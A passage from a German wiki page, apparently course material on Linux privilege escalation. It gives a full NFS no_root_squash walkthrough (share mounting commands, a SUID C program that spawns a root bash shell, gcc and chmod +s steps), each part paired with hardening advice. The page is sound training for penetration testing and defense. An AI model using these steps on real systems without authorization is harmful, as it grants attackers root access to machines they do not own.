'''Absicherung:''' In Skripten und Programmen '''immer''' absolute Pfade verwenden bzw.&lt;br /&gt;
PATH innerhalb des Skripts fest setzen. Keine beschreibbaren Verzeichnisse im&lt;br /&gt;
System-PATH. SUID-Programme, die externe Befehle aufrufen, sind grundsätzlich riskant –&lt;br /&gt;
im Zweifel vermeiden.&lt;br /&gt;
&lt;br /&gt;
== NFS ==&lt;br /&gt;
&lt;br /&gt;
'''Prinzip:''' Rechteausweitung ist nicht auf lokalen Zugriff beschränkt. Freigegebene&lt;br /&gt;
Verzeichnisse und Fernwartung (SSH, Telnet) helfen ebenfalls. Bei NFS ist die kritische&lt;br /&gt;
Option &amp;lt;code&amp;gt;no_root_squash&amp;lt;/code&amp;gt;: Normalerweise bildet NFS den root des Clients auf den&lt;br /&gt;
unprivilegierten &amp;lt;code&amp;gt;nfsnobody&amp;lt;/code&amp;gt; ab (''root squashing''). Ist&lt;br /&gt;
&amp;lt;code&amp;gt;no_root_squash&amp;lt;/code&amp;gt; auf einer beschreibbaren Freigabe gesetzt, darf man dort als&lt;br /&gt;
root Dateien anlegen – inklusive einer Datei mit gesetztem SUID-Bit, die auf dem Ziel&lt;br /&gt;
dann als root läuft.&lt;br /&gt;
&lt;br /&gt;
;NFS-Exportkonfiguration lesen (meist für Benutzer lesbar)&lt;br /&gt;
*cat /etc/exports&lt;br /&gt;
&lt;br /&gt;
Nach Einträgen mit &amp;lt;code&amp;gt;no_root_squash&amp;lt;/code&amp;gt; suchen.&lt;br /&gt;
&lt;br /&gt;
;Vom Angreifer-Rechner exportierte Freigaben anzeigen&lt;br /&gt;
*showmount -e 10.0.2.2XX&lt;br /&gt;
&lt;br /&gt;
;Freigabe lokal einhängen&lt;br /&gt;
*mkdir /tmp/nfs&lt;br /&gt;
*mount -o rw 10.0.2.2XX:/backups /tmp/nfs&lt;br /&gt;
&lt;br /&gt;
;SUID-Executable, das /bin/bash startet (nfs.c)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main() {&lt;br /&gt;
    setgid(0);&lt;br /&gt;
    setuid(0);&lt;br /&gt;
    system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Auf der eingehängten Freigabe als root kompilieren und SUID setzen&lt;br /&gt;
*gcc /tmp/nfs/nfs.c -o /tmp/nfs/nfs&lt;br /&gt;
*chmod +s /tmp/nfs/nfs&lt;br /&gt;
&lt;br /&gt;
Da man beim Kompilieren auf der Freigabe root ist, gehört die Datei root und trägt das&lt;br /&gt;
SUID-Bit. Auf dem Ziel liegt sie im selben Verzeichnis und liefert dort beim Aufruf eine&lt;br /&gt;
root-Shell.&lt;br /&gt;
&lt;br /&gt;
'''Absicherung:''' &amp;lt;code&amp;gt;no_root_squash&amp;lt;/code&amp;gt; vermeiden – &amp;lt;code&amp;gt;root_squash&amp;lt;/code&amp;gt; ist der&lt;br /&gt;
sichere Standard. Zusätzlich &amp;lt;code&amp;gt;nosuid&amp;lt;/code&amp;gt; in den Export-Optionen setzen, Exporte auf&lt;br /&gt;
konkrete Hosts statt &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; beschränken, und NFS möglichst nur in vertrauenswürdigen&lt;br /&gt;
Netzsegmenten betreiben.&lt;br /&gt;
&lt;br /&gt;
== Zusammenfassung: Vorgehen ==&lt;br /&gt;
&lt;br /&gt;
# '''Enumerieren''' – System, Benutzer, Prozesse, Netzwerk, SUID/Capabilities, Cron, PATH, NFS&lt;br /&gt;
# '''Fehlkonfiguration finden''' – jeden Fund gegen GTFOBins und den Soll-Zustand prüfen&lt;br /&gt;
# '''Ausnutzen''' – gezielt, im realen Auftrag risikoarm (Reverse-Shell statt System­eingriff)&lt;br /&gt;
# '''Dokumentieren''' – Fund, Weg und '''Absicherung''' festhalten&lt;br /&gt;
&lt;br /&gt;
Die Verteidigerperspektive zieht sich durch alle Vektoren: geringste Rechte, minimaler&lt;br /&gt;
SUID-/Capability-/Sudo-Bestand, absolute Pfade, sauberes Change-Management und&lt;br /&gt;
File-Integrity-Monitoring (in unseren Kursen Wazuh) decken den Großteil dieser Vektoren ab.&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:IT-Sicherheit]]&lt;br /&gt;
[[Kategorie:Cybersecurity]]&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>